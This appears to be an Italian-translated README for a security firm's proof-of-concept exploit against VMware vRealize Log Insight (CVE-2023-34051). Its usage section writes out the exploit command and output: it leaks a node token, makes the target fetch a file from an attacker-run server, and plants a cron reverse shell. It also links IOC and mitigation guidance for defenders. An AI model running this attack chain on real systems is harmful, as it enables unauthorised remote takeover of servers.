CVE-2023-34051

CVE-2023-34051 è un bypass dell'autenticazione che aggira la patch per VMSA-2023-0001. VMSA-2023-0001 per vRealize Log Insight include i seguenti CVE:

• VMware vRealize Log Insight Vulnerabilità di Directory Traversal (CVE-2022-31706)
• VMware vRealize Log Insight Vulnerabilità di controllo degli accessi non corretto (CVE-2022-31704)
• VMware vRealize Log Insight contiene una vulnerabilità di divulgazione di informazioni (CVE-2022-31711)

La configurazione predefinita di questa vulnerabilità scrive un job cron per creare una reverse shell. Assicurati di modificare il file payload in base al tuo ambiente.

Analisi Tecnica

Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

Indicatori di Compromissione

Per analizzare le istanze Log Insight alla ricerca di indicatori di compromissione, consulta il nostro blog sugli IOC: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

Riepilogo

Questa POC sfrutta lo spoofing dell'indirizzo IP e vari endpoint Thrift RPC per ottenere una scrittura arbitraria di file.

Utilizzo

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

Risoluzione dei problemi

Perché questo attacco funzioni, un attaccante deve avere lo stesso indirizzo IP di un nodo master/worker. Consulta il blog sopra per maggiori dettagli.

Se utilizzi una payload basata su cron, assicurati che il file payload abbia i permessi e il proprietario appropriati:

sudo chown root:root payload

sudo chmod 0644 payload 

Mitigazioni

Aggiorna all'ultima versione o mitiga seguendo le istruzioni contenute nella VMSA https://www.vmware.com/security/advisories/VMSA-2023-0021.html

Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche di sicurezza:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Dichiarazione di esclusione di responsabilità

Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.